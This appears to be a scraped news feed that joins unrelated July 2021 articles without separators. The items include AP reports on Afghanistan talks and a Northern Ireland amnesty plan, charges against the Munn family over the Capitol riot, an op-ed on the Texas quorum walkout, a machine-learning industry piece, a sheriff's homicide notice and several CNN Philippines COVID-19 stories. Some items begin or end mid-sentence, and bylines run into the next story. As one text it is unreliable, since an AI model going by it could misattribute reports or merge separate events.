The Taliban were expected to bring their senior leaders to the talks in Doha, where the insurgent movement has long maintained a political office.

The negotiations are aimed at ending the violence that has steadily increased since the U.S. signed a deal with the insurgent movement in February last year spelling out the withdrawal of foreign forces from Afghanistan.

There are rising concerns for what lies ahead and thousands of Afghans are trying to leave the country amid growing anxiety about the future. Outgoing U.S. commander Gen. Scott Miller, who officially stepped down at a ceremony in Kabul on Monday, has warned that increasing violence seriously hurts Afghanistans chances of finding a peaceful end to decades of war.

Miller also warned of a possible civil war as U.S.-allied warlords have been resurrecting their militias in an attempt to stop the Taliban surge. The militias have a violent history.

___

Gannon reported from Islamabad. Associated Press writer Jon Gambrell in Dubai, United Arab Emirates, contributed to this report.
LONDON (AP)  The U.K. government announced Wednesday that it plans to introduce a statute of limitations for alleged crimes committed during decades of violence in Northern Ireland, a move that would end prosecutions for killings by both British soldiers and members of militant groups.

The government said the move reflected the dwindling chances of convicting the perpetrators of decades-old crimes, and would allow a fuller accounting of a dark chapter of history. But families of people killed in the violence called the plan a betrayal, and Northern Ireland's main political parties rejected it.

More than 3,500 people died  most of them civilians  during three decades of violence known as the Troubles, a three-way conflict involving Irish republican and British loyalist paramilitaries and U.K. troops.

Northern Ireland Secretary Brandon Lewis told lawmakers in the House of Commons that the statute of limitations would apply equally" to crimes committed by all parties before Northern Ireland's 1998 peace accord.

We know that the prospect of the end of criminal prosecutions will be difficult for some to accept, and this is not a position we take lightly, Lewis said. But, he said, it was a painful recognition of the very reality of where we are.

Under the government's plan, the statute of limitations will be accompanied by a new independent body tasked with uncovering and compiling information about Troubles-related deaths and injuries, along with an oral history initiative. British officials hope that, freed from the threat of prosecution, former militants will be willing to come forward and disclose details of actions during the conflict,

The government also said it was considering ending civil court cases related to the Troubles, though it conceded that proposal was challenging.

Britain says it will consult with politicians in Northern Ireland and neighboring Ireland, and with victims' groups, before introducing legislation later this year.

The 1998 Good Friday peace accord ended large-scale violence in Northern Ireland. As part of the peace process, many militants were released from prison or were not prosecuted for actions during the Troubles.

The U.K.s Conservative government is under pressure from many party members and the military to lift the threat of prosecution from troops who served in Northern Ireland decades ago. Several prosecutions of former soldiers for alleged Troubles crimes have recently collapsed.

Earlier this month, authorities announced plans to halt the prosecution of two former British soldiers over the killing of three people in Northern Ireland in 1972, including two shot dead on Bloody Sunday, when paratroopers killed 13 Catholic civilians in the city of Londonderry.

British Prime Minister Boris Johnson said the statute of limitations would stop army veterans facing vexatious prosecutions well into their 70s and 80s and would "enable the people of Northern Ireland to move forward.

Putting a time limit on prosecutions will also mean the perpetrators of some paramilitary attacks could escape justice.

The opposition Labour Party called the statute of limitations an amnesty in all but name for murder, a criticism echoed by victims' relatives.

These proposals are an utter and unacceptable betrayal," said Michael OHare, whose 12-year-old sister Majella was shot by a British soldier in 1976.

Sandra Peake, chief executive of the Wave Trauma Center, a support group for victims and survivors, said the plan is obscene and will bring nothing but further pain and anguish to people who have suffered so much.

Both main parties in Northern Ireland's Protestant-Catholic power-sharing government also criticized the announcement.

I expect all party leaders to be very firm in their rejection of the amnesty," said Deputy First Minister Michelle O'Neill of Irish nationalist party Sinn Fein.

Jeffrey Donaldson, leader of Northern Irelands Democratic Unionist Party, said the proposals were an insult to both the memory of those innocent victims who lost their lives during our Troubles and their families.

We understand that with the passage of time the prospect of justice is diminishing for many, but these proposals, if passed, will extinguish that flickering flame of justice completely and is a moral overreach that cannot be accepted, Donaldson said.
LOWELL, Mass. (AP)  University of Massachusetts Lowell Chancellor Jacquie Moloney announced Wednesday that she will step down next June at the end of the academic year.

Moloney, who has two degrees from the school, became the first woman to lead the campus when she was appointed in 2015, and helped oversee record gains in student enrollment, diversity, and graduation and retention rates. The university's faculty hiring, research expenditures, fundraising and economic development activities have all reached new highs during her tenure.
For five people arrested this week after they were charged by federal prosecutors for allegedly storming the U.S. Capitol, the Jan. 6 insurrection appeared to be a family affair.

The Munn family traveled from Borger, Texas, about 45 miles northeast of Amarillo, to Washington for the deadly riot, federal investigators said in a criminal complaint filed Monday.

RELATED: These Texas reps voted against honoring police who responded to Capitol riot

Dawn and Thomas Munn, as well as their children Kristi, Kayli and Joshua Munn, were charged with disorderly conduct and illegally entering and parading in the Capitol. Another child, an unnamed minor, also entered the Capitol, investigators said, but was not charged.

The Milwaukee Journal Sentinel reported that Dawn and Thomas Munn are in their 50s and at least two of the children are in their 20s.

Investigators used photos from Facebook and Snapchat, as well as security footage from the Capitol, to identify the family members' alleged movements on Jan. 6. A relative of Kristi Munn's fiance had seen Kristi's posts on Facebook and Snapchat and provided screenshots to the FBI, investigators said.

The Munn family's alleged participation in the riot is part of a dynamic that has played out since Jan. 6, with many people reporting friends and family members they suspect participated in the insurrection to the FBI. A college freshman in Texas also reported his father for threatening to do "something big" before he stormed the Capitol.

According to authorities, Kristi Munn posted a photo on Facebook, before the Capitol was breached, that showed the family dressed in camouflage. It was captioned: "Washington D.C. here we come!!!" The family stayed in a hotel near Washington after driving 1,600 miles in 24 hours, Thomas Munn wrote in a Facebook post cited in the complaint.

Kristi, Thomas, Dawn, Joshua and Kayli Munn entered the Capitol by crawling through a window at around 2:25 p.m. on Jan. 6, according to investigators.

A few minutes after entering, all six family members were seen allegedly moving from the crypt toward the visitor center, with Kristi Munn cloaked in a Trump flag.

Teachers from a high school and a college in Borger who had taught some of the Munn family members also reviewed photos of the family and confirmed their identities.

RELATED: Showtime is turning the Capitol riot into a TV series nobody wanted

It was not immediately clear if the family had legal representation. In a phone interview with an FBI agent, Kristi Munn admitted to traveling to Washington to see then-President Donald Trump speak, but denied going inside the Capitol or committing any crimes there.

But in messages on Facebook obtained by investigators through search warrants, Kristi wrote to someone named Jarod on Jan. 7, "We were in the capital!!" She asked him to "keep that bit of info on the [down low] for right now."

According to the complaint, she posted a status update the same day: "Tear gas tastes like freedom #StopTheSteal #TrumpIsMyPresident." Someone commented asking if she knew that from experience. "I do now," she replied.

In another message, Kristi wrote she had taken so many videos of the riot that her phone ran out of storage. Instead, she used a minor child's phone to record more. Investigators said it did not appear that this child traveled to Washington with the family.

Dawn, Thomas, Kristi and Kayli Munn were arrested on Tuesday in Borger, court records show. Joshua Munn was arrested in Melrose, Wis., about 100 miles northwest of Madison. Joshua, who has a legal hearing next week, was subsequently released from custody.

More than 500 people have been arrested in participating in the riot, Attorney General Merrick Garland announced last month.
At the tail end of what law professors often refer to as the constitutional Revolution of 1937, the Supreme Court devoted a long footnote to identifying the circumstances under which courts should and should not be skeptical of laws passed by democratically elected legislatures. As Justice Harlan Fiske Stone wrote for the majority in United States v.Carolene Products Co. in 1938, the three types of laws potentially worthy of heightened scrutiny were those that ran afoul of express constitutional protections; those that tended to discriminate against "discrete and insular minorities"; and "legislation which restricts those political processes which can ordinarily be expected to bring about repeal of undesirable legislation." The thread tying these categories together is democracy. The Constitution trumps democratic preferences in the first two categories; in the third, the concern is that the policy preferences at issue are not really those of the majority.

RELATED: Texas Democrats who left state are having a weird 'fugitive' moment with Miller Lite and sad salads

The court's singling out laws that restrict the political process in Carolene Products is critical to what's happening in (and outside of) Texas this week - where 51 Democratic members of the Texas House have absconded to Washington to deprive the state legislature's lower chamber of a quorum and thereby frustrate a thinly veiled "election integrity" bill that will make it far harder for Texas Democrats, in particular, to vote. The fact that the absent legislators themselves have drawn as much or more public and media attention as the bill they are thwarting is the latest depressing reminder of how sick our democratic process has become. "Smiling House Dems fly off to DC on a private jet with a case of Miller Lite," Texas's Republican lieutenant governor, Dan Patrick, mocked in a tweet Monday, adding that the lawmakers were "abandoning their constituents, while the Senate works."

But the lesson of Carolene Products is that it's the Texas legislation, not the actions of its legislators, that ought to be met with exacting scrutiny. The hubris here is not so much on the part of truant Texas Democratic lawmakers participating in a stunt for which Texas Republicans, including Gov. Greg Abbott, have vowed to arrest them. Republicans are trying to force Democrats to participate in a democratic process intended to undermine the ability to participate in the democratic process. Now that's hubris. The Supreme Court in an opinion widely viewed as the cornerstone of modern constitutional law essentially said that the rules should be different for laws that make it harder to vote. Democrats, albeit in a desperate and unorthodox way, are simply trying to draw that stricter scrutiny laid out by Justice Stone in his footnote.

Like the U.S. Constitution, the Texas Constitution allows the legislature to compel the attendance of absent members - including by having Texas law enforcement officers arrest them and forcibly return them to Austin. But that authority necessarily stops at the state line. And because absence from the legislature is not a crime under Texas law, other states (and the District of Columbia) have neither the obligation nor the right to arrest the Democratic "fugitives" and return them to the Lone Star State. So long as the Democrats stay out of Texas, there is nothing that Abbott can do, at least legally, to break the logjam. And so long as they stay out of Texas until Aug. 7, the special session Abbott called after an earlier Democratic walkout foreclosed passage of the same bill during the legislature's regular session will also expire. Abbott could call another special session, but the Democrats again could leave the state.

For all the criticism that Texas Democrats have come under from their Republican colleagues and conservative media, it's worth noting that the exact reverse exercise has been happening in Oregon - albeit with less national media attention. There, for three straight years, Republicans have walked out of legislative sessions to deprive Democratic majorities of a quorum. This year, the walkout was in protest of covid-related restrictions adopted by Democratic Gov. Kate Brown. In 2020, it was in protest of legislation that would have capped greenhouse gas emissions. In 2019, it was in a not-subtle attempt to use minority political power to thwart the substantive policy priorities of the majority.

At first glance, what's happening in Texas appears to be the mirror image of what has happened in Oregon - such that those who celebrated the Republican stalwarts in Oregon are now hypocrites for complaining about the Texas Democrats, and vice versa. One might also compare what's happening in Texas right now to what's happening in Washington, where Republicans are also relying on procedural chicanery - in the form of the Senate filibuster - to thwart both lowercase and capital-D democratic efforts to reform federal election laws and restore protections for voting rights that have now been twice weakened by the Supreme Court. In all cases, we're seeing the effects of the increasing polarization of our political discourse - in which minority parties seeking to exert any leverage over legislation are left to the most extreme measures available to them. In the abstract, then, the Texas affair is just the latest variation on a long-running (and deeply problematic) theme. It's not hard to imagine that, as in Oregon, the Texas legislature will soon consider reforms that make it harder for even this maneuver to take place - perhaps including the imposition of criminal penalties for legislators who leave the state without authorization during a legislative session.

IN TEXAS (AND D.C.): Gov. Greg Abbott issues scathing response to Texas Dems dramatic block on voting bills

But there's something critically different about the Texas protest. Here, unlike in Oregon or Washington, the minority party is resisting compulsory participation in a democratic process that has the goal of making it harder for members of the same minority party to participate in the larger American democratic process. Consider, for example, the proposed ban on 24-hour early voting. Not only is there no evidence that allowing 24-hour early voting creates any additional election integrity concerns, but during the 2020 election, the only jurisdiction in Texas that allowed it (Harris County) just happened to be one of the most heavily Democratic - and most heavily Latino - in the country. And the Texas bill at issue, SB8, is full of similar transparently partisan restrictions to voting rules in the nation's second-largest state.

As recently as eight years ago, these proposals would not have made it through the preclearance regime under the federal Voting Rights Act. Then, the Supreme Court eviscerated that constraint in Shelby County v. Holder. As recently as two weeks ago, these proposals would have been seriously vulnerable to challenge under Section 2 of the Voting Rights Act - the statute's central nondiscrimination provision. Then, the Supreme Court in the Brnovich case weakened those protections, too. If the courts won't push back against this kind of legislation, who will?

The point is not that the Texas Democrats are engaging in a form of civil disobedience that's far more justifiable than what Oregon or Senate Republicans are doing; in any case, it's not civil disobedience because what they're doing is not illegal. The point is that, as the Supreme Court itself suggested 83 years ago, we ought to look differently at "legislation which restricts those political processes which can ordinarily be expected to bring about repeal of undesirable legislation." If such legislation ought to justify more searching judicial scrutiny, it seems to follow that, when the courts fail us, it should justify more aggressive procedural machinations to defeat it, as well.

- - -

Steve Vladeck is a professor at the University of Texas School of Law, co-editor in chief of Just Security, co-host of the National Security Law Podcast and a CNN legal analyst.
Texans' memories aren't that short. It'll be a long time before they forget a certain flight to Cancun.

In an appearance on Fox News Tuesday, Sen. Ted Cruz blasted the more than 50 Texas Democrats who went to Washington D.C. to prevent Republicans' controversial voting bills from going to quorum.

IN TEXAS (AND D.C.): Gov. Greg Abbott issues scathing response to Texas Dems dramatic block on voting bills

"What you're seeing the Democrats do here, it is a political stunt," Cruz said. "They're doing this in a fit."

But Cruz's comments brought plenty of reminders of the time when he fled the state for Cancun during the winter storm that killed more than 200 Texans in February.

Democrat Julian Castro advised Cruz to maybe stay out of it this time.

Georgia Rep. Hank Johnson had even harsher words for Cruz.

"If its one thing [Cruz] knows about, its jet setting," Johnson wrote on Twitter. "Reminds you of when he abandoned his duty to the people of Texas when he left in the middle of a winter storm to go to Cancun."

And of course, plenty of others on Twitter jumped in to pile on the sitting senator.

MILLER LITE AND SAD SALADS: Texas Democrats who left state are having a weird 'fugitive' moment

Cruz often jokes about that fateful and short trip to Mexico's sunny shores, which he later admitted was "obviously a mistake."

Texans remain unamused.
A. Asking isn't enough and neither is the current level of enforcement.

B. Entrance into Three Sisters Springs needs to be staggered.

C. Human entry into Three Sisters Springs should be limited to only the boardwalk - no swimming or paddlecraft.

D. The current levels of erosion are acceptable and can be addressed with additional rock installation.

Vote

View Results
A. Fill the pool and build pickleball courts. That makes sense next to the tennis courts already there.

B. Refurbish the pool and deed it back to the Beverly Hills Civic Association.

C. Do away with the pool and build a fountain to bring people and families to the park.

D. Fill the pool and construct a pavilion to enhance the community.

Vote

View Results
Artificial intelligence and machine learning are the most disruptive technologies, according to IT professionals in the 2020 CIO Tech Priorities Poll. Respondents say these solutions  more so than cloud, IoT, and analytics  have the potential to significantly alter the way businesses and entire industries operate.

But where is machine learning having the most impact? Thats the question we posed to the IDG Influencer Network, a community of industry analysts, IT professionals, and journalists who contribute their knowledge and expertise to the broader IDG community. Here are some key takeaways from their responses.

Calling all industries

Perhaps in a testament to its applicability, the IDG Influencers listed machine learning (ML) use cases in nearly every industry.

Machine learning is becoming one of todays hot buttons, says Jeff Kagan (@jeffkagan), wireless industry analyst. An increasing number of companies see this as a necessity to either gain a competitive advantage or ultimately just to keep up.

Thats because any repetitive or learned task can be automated to shift the physical burden from person to machine, says John Nosta (@JohnNosta), WHO health tech expert.

Diagnostic and predictive capabilities drive adoption

Healthcare is one industry where machine learning is being piloted heavily, says Sarbjeet Johal (@sarbjeetjohal), cloud leadership consultant. Use cases range from getting accurate results on medical tests to fast-tracking drug discoveries.

Other Influencers offered more healthcare examples:

Machine learning is helping organizations detect and treat disease more effectively and efficiently while improving patient outcomes. Applying machine learning to structured and unstructured patient medical data helps identify insights for treatment, studies, and clinical trials.  Gene De Libero (@GeneDeLibero), chief strategy officer and head of consulting at GeekHive

In healthcare, the advances in ML have enabled clinicians to increase the accuracy of coding for insurance reimbursements.  Frank Cutitta (@fcutitta), CEO and founder of HealthTech Decisions Lab

ML is being used to review X-rays and CT scans.  Arsalan Khan (@ArsalanAKhan), blogger on business and digital transformation

MLs predictive capabilities are also proving to be valuable in other industries, such as manufacturing, and in IT and business functions such as cybersecurity, DevOps, customer service, and sales:

Machine learning has been an important industrial tool for a long time now, especially around providing a framework for predictive maintenance. Thats a trend that shows no sign of slowing, and if anything its accelerating and covering a wider range of equipment.  Simon Bisson (@sbisson), tech journalist

A key [factor] is identifying patterns in data, be it unusual activity for security purposes or predicting machine failure. This has the ability to remove hundreds of hours of manual work and make companies more secure or productive.  Martin Davis (@mcdavis10), CIO

Machine learning is having a growing impact in DevOps and DevSecOps because it gives stakeholders and teams the tools to interact with back-end data from their toolchains and cloud environments. Teams can look at trends, not faults. Better yet, teams can use ML to correlate data across monitoring tools with no more context switching between tools.  Will Kelly (@willkelly ), technical marketing manager for a container security startup

The biggest impact comes from taking data that we know about our customers and how they interact with our business and making predictions on how to better engage, whether its dynamically creating better pricing strategies or selecting better products to cross-sell and up-sell.  Noelle Silver (@NoelleSilver_), founder of AILI

Were seeing impact in sales systems and in determining which leads would most likely become clients, or looking at signals that show the state of a customer relationship. Ultimately, ML is having the most impact on keeping up with consumer demand and customer experience, all of which supports the bottom line.  Deb Gildersleeve (@DebGildersleeve), CIO at QuickBase

Efficiency is a key driver

Machines can process information more quickly, saving time and driving other efficiencies, say the Influencers:

The modern business has far more potential cybersecurity events to investigate than can be reasonably reviewed by people, and machine learning has the benefit of quickly focusing peoples attention on the signal, not the noise, so that organizations can rapidly respond to potential incidents before threat actors can establish persistence in an environment.  Kayne McGladrey (@kaynemcgladrey), cybersecurity strategist at Ascent Solutions

ML does a great job of performing quick tasks that eliminate false positives and remove the noise so analysts can assess the signal. Its also a great incubator to simulate multi-step threat analysis and determine the most effective and efficient steps that streamline attack response and reduce dwell times.  Mark Sangster (@mbsangster), author of No Safe Harbor

Whats next for ML

As ML technology evolves and improves, more benefits will emerge. The migration of digital assistants such as Amazons Alexa into the business world uncovered some limitations in current machine learning and neural networks, says Scott Schober (@ScottBVS), president and CEO of Berkeley Varitronics Systems Inc. The most effective way to utilize machine learning is the handoff from human to digital and back again to human, and every single industry requires a slightly different approach, he says. Once this workflow cooperation between human and digital assistant is maximized, entire industries can benefit.

Influencers see other promising developments:

As companies witness data moving closer from the edge to cloud architectures, enterprises will seek to build flexible, user-friendly machine learning applications that provide the data intelligence that connect a host of transparent actions. With actionable insights moving even faster, this data-driven world will create more agile and flexible organizations that will transform them in a cloud world. If done well, we will witness a lot of analytics performed in a no-code cloud marketplace.  Peggy Smedley (@ConnectedWMag), IoT Influencer

Being able to predict an outcome achieves only about half of the potential value of ML, whereas knowing what to do in order to optimize an outcome delivers full value.  Mark Sangster

The possibilities seem limitless, says Kagan, who advises: There is a growing difference between leaders of yesterday and tomorrow. Companies who not only embrace new technology, but also use it correctly and protect their customers, will be the big long-term winners.

Learn more about ways to reinvent your business with data.
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Please reference CCSO Case # 21-014670

At about 4:25 p.m. on Monday, July 12, 2021, Clackamas County Sheriffs Office deputies responded to a report of a suspicious death involving a male at a residence on SE Chestnut Street near SE Park Road in unincorporated Clackamas County.

Deputies responded to the residence along with Sheriff's Office detectives and CSI, as well as personnel from the Clackamas County Major Crimes Team, Clackamas County District Attorneys Office, and Clackamas County Medical Examiner's Office.

The male -- Matthew Warren Trollope, 41 -- was confirmed deceased.

An autopsy by the Oregon State Medical Examiner's Office determined the cause of death was a gunshot wound.

Detectives with the Sheriff's Office and the Clackamas County Major Crimes Team are currently investigating the incident as a homicide. Investigators are seeking tips.

Anyone with information on the events leading to the shooting death of Matthew Trollope is urged to contact the Sheriffs Office Tip Line -- by phone at 503-723-4949 or by using the online email form at https://www.clackamas.us/sheriff/tip . Please reference CCSO Case # 21-014670.

[END]

Deputy John Wildhaber

Clackamas County Sheriff's Office

Public Information Unit
A federal judge rejected a request by New York City to dismiss lawsuits claiming police violated the constitutional rights of people protesting racial injustice after the death of George Floyd last year.

U.S. District Judge Colleen McMahon in Manhattan on Friday ruled that plaintiffs in six consolidated suits, including one brought by New York Attorney General Letitia James, had properly alleged that police engaged in widespread use of excessive force and mass arrests.

The ruling affirms the strength of the legal claims but doesnt address the merits of the dispute, which could ultimately be resolved at trial.

James sued the city and Mayor Bill de Blasio in January over the alleged conduct, claiming state investigators had established an egregious abuse of police power overseen by leadership that was unable or unwilling to stop it. The treatment of Black Lives Matter protests was just the latest example, the AG said.

McMahon rejected the citys argument that the lawsuits are irrelevant because the New York Police Department is weighing policy changes following an internal review. The judge said the changes are not yet in effect.

Plaintiffs identify a number of police practices that were allegedly wrongfully used or abused during the BLM protests and pleads facts from which it could be inferred that this was not some one off instance of misuse of these practices, but had been part and parcel of the NYPDs arsenal for dealing with political protests for that past two decades, McMahon said.

McMahon did toss out claims against de Blasio and others in their official capacity, though claims against the term-limited Democrat in his personal capacity remain. The judge also backed the mayors right to issue a curfew thats at the heart of some of the lawsuits.

In issuing and enforcing the curfew order during the pandemic, the goal was public safety, Brachah Goykadosh, a senior counsel in the NYC Law Department, said in an emailed statement. The New York City Police Department remains committed to continuing to refine its policing to ensure public safety, as well as the protection of every citizens constitutional rights.

The judge voiced some criticism of the lawsuits, saying in her ruling that they failed to acknowledge the seriousness of the looting and vandalism that was associated with the largely peaceful protests.

The Attorney General, as befits her office, does admit that there were instances of property damage and injuries to NYPD officers, although the complaint minimizes the seriousness of this misbehavior, the judge said.

The attorney generals office declined to comment.

Copyright 2021 Bloomberg.
Financial firms may need to bolster their defenses in the face of rocketing cyber attacks after employees began working from home, the Financial Stability Board (FSB) said on Tuesday.

The FSB, which coordinates financial rules for the G20 group of nations, said remote working since economies went into lockdown to fight COVID-19 opened up new possibilities for cyber attacks. Working from home (WFH) is expected to stay in some form across the financial services industry and beyond.

Most cyber frameworks did not envisage a scenario of near-universal remote working and the exploitation of such a situation by cyber threat actors, the FSB said in a report to G20 ministers and central banks.

The report is a first take on lessons learned from the pandemics impact on financial stability.

COVID-19 was the first major test of tougher financial rules put in place after the 2008 global financial crisis and most parts of the system coped well, the FSB said.

Lockdown restrictions are easing but financial firms have told employees they will be allowed to work from home several days a week permanently, and the rest of the time in the office.

Cyber activities such as phishing, malware and ransomware grew from fewer than 5,000 per week in February 2020 to more than 200,000 per week in late April 2021, the FSB said.

Financial institutions have generally been resilient but they may need to consider adjustments to cyber risk management processes, cyber incident reporting, response and recovery activities, as well as management of critical third-party service providers, for example cloud services, the FSB said.

The FSB, chaired by Federal Reserve Vice Chair Randal Quarles and comprising regulators and central banks from leading financial centers, will publish a final report in October setting out its next steps.

It has already made proposals for strengthening the resilience of money market funds which suffered severed stresses during last years market turmoil.

(Reporting by Huw Jones; editing by Catherine Evans)
As the 2020-21 school year came to a close, students and families embraced the many opportunities to celebrate with more traditional milestone events. Some of the events were rethought and refreshed in light of the pandemic. The focus was on bringing on as many people together as possible to
SHOREWOOD [mdash] Robert J. Horan, age 85, of Shorewood, IL, formerly of Preston, IA, passed away Monday, July 12, 2021 at Salud Wellness Nursing Home, in Joliet, IL. A graveside funeral service will be held at St. Joseph Catholic Cemetery, in Preston, IA on Saturday, July 17, 2021 at 2pm. A
Metro Manila (CNN Philippines, July 13) - San Juan City Mayor Francis Zamora on Tuesday said he was also surprised that his father, San Juan Representative Ronaldo Zamora, received China-state owned Sinopharm's COVID-19 vaccine last year.

Zamora said it was his first time to hear about his father's Sinopharm shots on Monday.

"As far as I am concerned, what I know is we vaccinated him with two doses of Pfizer here in San Juan. So I never knew that he got vaccinated with Sinopharm last December, so I was shocked like everyone else with his statement yesterday," the mayor told CNN Philippines' News Night.

The San Juan congressman on Monday admitted he received booster shots using Pfizer's vaccines. He defended the move, saying it was his doctor's advice since he is immunodeficient.

The younger Zamora said he would have consulted first with the COVID-19 Inter-Agency Task Force if he was aware of his father's Sinopharm doses.

"If I had known na na-vaccinate na siya (that he was vaccinated) previously, I would have consulted the IATF first and ask kung ano ba ang dapat gawin (what should be done). Kasi kahit ako, natatakot para sa kanya, kung nag (Because I myself am worried about him for getting) third and fourth dose after two doses six months prior," Zamora said.

The Department of Health does not yet recommend giving booster shots due to vaccine supply shortage, and lack of solid evidence on its necessity.
Metro Manila (CNN Philippines, July 13) - Some cities in Metro Manila suspended their second-dose Sinovac vaccinations after running out of supply from the national government.

San Juan - which has already vaccinated 100% of its target population with the first dose - said those given Sinovac shots might have to wait for a while.

"I was just on the phone with Sec. Vince Dizon earlier because our problem now basically will be the second doses for Sinovac," San Juan Mayor Francis Zamora told CNN Philippines' News Night on Tuesday.

"Starting tomorrow onwards, those scheduled for second dose of Sinovac here in San Juan will not be able to get their jabs, simply because there is no supply Sinovac at this point," Zamora added.

Caloocan also announced those scheduled for second dose starting July 14 will have to wait for further notice.

"Manatili lamang nakaantabay sa Facebook page ni Mayor Oca Malapitan para sa inyong reschedule sa oras na dumating na ang karagdagang supply ng Sinovac vaccine," the local government said.

[Translation: Always monitor Mayor Oca Malapitan's Facebook page for the new schedule once additional Sinovac vaccines arrive.]

The Las Pinas City Health Office also made a similar announcement on Tuesday.

"Kami po ay humihingi ng pang-unawa at abangan lamang po ang susunod na anunsyo ukol sa pagkakaroon ng bakunang Sinovac," its advisory read.

[Translation: We are asking for your understanding and just wait for further announcements regarding your Sinovac dose.]

Meanwhile, the city government of Malabon advised that only those who were vaccinated with other brands will be given their second dose for now.

The cities of Muntinlupa, Taguig, and Valenzuela have also suspended their second-dose Sinovac vaccinations.

The Department of Health earlier said more Sinovac doses are expected to arrive in the country on Wednesday, July 14.
Metro Manila (CNN Philippines, July 14)  The public should still inform authorities if they experience any adverse event one year after their COVID-19 immunization, Food and Drug Administration Director General Eric Domingo said Wednesday.

Domingo's remark came after the United States' drug regulator warned Janssen's COVID-19 vaccine recipients of an increased risk of a rare neurological condition called the Guillain-Barre Syndrome in the 42 days following inoculation. The US FDA said the chance of this occurring is "very low."

READ: DOH: Risk of rare nerve complication with J&J vaccine remains very low

The agency said 100 preliminary reports of Guillain-Barre Syndrome had been filed with the US government's Vaccine Adverse Event Reporting System, adding that America has so far given 12.5 million Janssen shots.

"Extended talaga ang ating adverse events following COVID-19 immunization. So 'pag may naramdaman po kayo, kahit after 6 months, kahit 1 year, kailangan pong i-report niyo iyan para po makita natin at maaral po natin kung mayroon po siyang koneksyon sa mga bakunang natanggap niyo," Domingo told a Laging Handa briefing.

[Translation: Our observation period for adverse events following COVID-19 immunization should really be extended. So, if you fall sick six months or one year after your immunization, you have to report it so we can study if your condition is linked to the vaccine you received.]

Domingo said less than 1% percent of the people who received COVID-19 vaccines in the country reported they had side effects, most of which were mild.

As of July 13, the Philippines has administered 13.8 million COVID-19 vaccine doses -- 9.9 million as first shots and 3.9 million as second doses, the National Task Force Against COVID-19 said Wednesday.
Metro Manila (CNN Philippines, July 14) - The Catholic Bishops' Conference of the Philippines (CBCP) has established the Episcopal Office on Stewardship to help dioceses in abolishing the "arancel" system.

The CBCP defines arancel as a system that charges the faithful for church services, such as baptism, confirmation, weddings and Masses.

Outgoing Episcopal Commission on the Laity chairperson Bishop Broderick Pabillo will lead the new office, according to the CBCP.

CBCP Spokesperson Fr. Jerome Secillano said the Catholic Church has been taking a long time to do away with the arancel system because other churches, especially small ones in far-flung areas, are dependent on the fees they get from the scheme for their daily operations.

"Marami ring binabayaran ang mga parokya tulad ng mga utilities, sinuswelduhan mo rin 'yung mga staff. Diyan din sa arancel kinukuha yung panggastos mo para isulong ang mga programa ng parokya," Secillano told CNN Philippines' Newsroom Weekend on Sunday.

[Translation: Small churches also have many expenses, like utilities and salaries of their staff. They also get from the arancel their funds to finance the church's programs.]

Secillano encouraged the faithful to voluntarily donate money, even if they will not avail of any service, to help small churches survive.

The Catholic Church reaffirmed its commitment last January to abolish the arancel system, saying it has become prejudicial against the poor.

Since April, the Archdiocese of Manila already abolished fixed rates for baptisms, confirmation, and the offering of Mass intentions in all the churches it encompasses.
Metro Manila (CNN Philippines, July 14)  Voters who will show COVID-19 symptoms on election day - May 9, 2022 - will still be allowed to cast their ballots, according to the Commission on Elections (Comelec).

Those who exhibit symptoms when they are screened upon arrival at the polling precinct will be brought to an isolated area within the compound where they can vote, Comelec spokesperson Director James Jimenez said Tuesday.

He added that the measure had already been implemented successfully during the Palawan plebiscite last March.

"Those voters with questionable health statuses - mataas ang temperatura, inuubo (fever, cough) or those who exhibit symptoms of possible contagion, they will be diverted to an isolation polling place or IPP. In the isolation polling place, they will be allowed to cast their votes, no problem, except that they will be separated from the general population," Jimenez said.

To minimize the risk of spreading COVID-19, the poll body is also studying the possibility of limiting the number of persons allowed inside a voting precinct at any given time.

Jimenez said an "extreme" possibility would be to have only five persons allowed inside the precinct: one voter, three members of the election board and one poll watcher.

"Where there used to be ten voters at the same time in a classroom, we're exploring a range of possibilities now and the most extreme of these possibilities is that the number will be brought down to five people," Jimenez said.

He, however, added the proposal is not yet final.

Jimenez also said voting on election day may be extended from 6 a.m. to 6 p.m. due to the limitations on the number of voters allowed inside the voting precinct.
Metro Manila (CNN Philippines, July 14)  President Rodrigo Duterte has approved the recommendation to include Indonesia in the list of countries covered by travel restrictions, Malacanang announced on Wednesday.

The restrictions will be applied to travelers coming from Indonesia and those with travel history there within the last 14 days before arriving in the Philippines. These travelers will be prohibited from entering the country beginning 12:01 a.m. of July 16 until 11:59 p.m. of July 31.

Passengers in transit from Indonesia and those who have been there within 14 days preceding arrival to the Philippines and will arrive before July 16 may still be allowed to enter, but they will have to undergo a 14-day quarantine at a facility notwithstanding a negative RT-PCR test result.

This was one of the recommendations of the Inter-Agency Task Force as the fellow Southeast Asian nation is currently battling a severe wave of COVID-19 infections that authorities say is driven by the more contagious Delta variant. The IATF on Wednesday also extended restrictions on travelers coming from India, Pakistan, Bangladesh, Sri Lanka, Nepal, UAE, and Oman until July 31.

The surge in Indonesia was due to holiday celebrations in May, Consul General Bryan Dexter Lao - Charge d' Affaires, ad interim, in Indonesia - told CNN Philippines. He said the public had been instructed to follow minimum health standards such as physical distancing, wearing masks, and washing hands.

"Those measures apparently were not enough to control the rapid infection rate of [COVID-19]," Lao said in an interview on News Night.

The Indonesian government aims to vaccinate one million people per day, but only 36 million people out of a population of 273 million - or around 13% - have so far received their first dose. Lao said 15 million - or 5.4% of the population - have completed the two doses.

There are about 4,000 to 8,000 Filipinos in Indonesia, according to Lao. He added that around a hundred were booked for a July flight to the Philippines. He said he will present a report on the impact of the travel restrictions on Filipinos in Indonesia to the Philippine government to see if a shorter period for the ban can be arranged.

CNN Philippines correspondent Melissa Lopez contributed to this report.
Metro Manila (CNN Philippines, July 14)  The country will receive 250,800 more doses of Moderna COVID-19 vaccine on July 15, Malacanang said.

In his briefing on Wednesday, Presidential Spokesperson Harry Roque said 194,400 shots were procured by the national government while 56,400 doses will be used by the private sector.

This will be the country's second shipment from the United States-based vaccine firm. The first batch, consisting of around 250,000 doses, was delivered on June 27.

A total of 21.779 million doses arrived in the country since March, with 3.8 million Filipinos completing their vaccination. Around 9.9 million people received their first dose.

The first batch of Johnson & Johnson's single-dose vaccine and AstraZeneca shots ordered by the local governments and private sector will also arrive next week. Another 2.5 million Sinovac shots will be delivered on July 21.

Health Undersecretary Myrna Cabotaje earlier said the country is expecting more shipments from Pfizer this month.
Metro Manila (CNN Philippines, July 14)  Senator Manny Pacquiaos alleged criticisms of President Rodrigo Duterte may be tantamount to disloyalty to the ruling party, an official of the PDP-Laban said Wednesday.

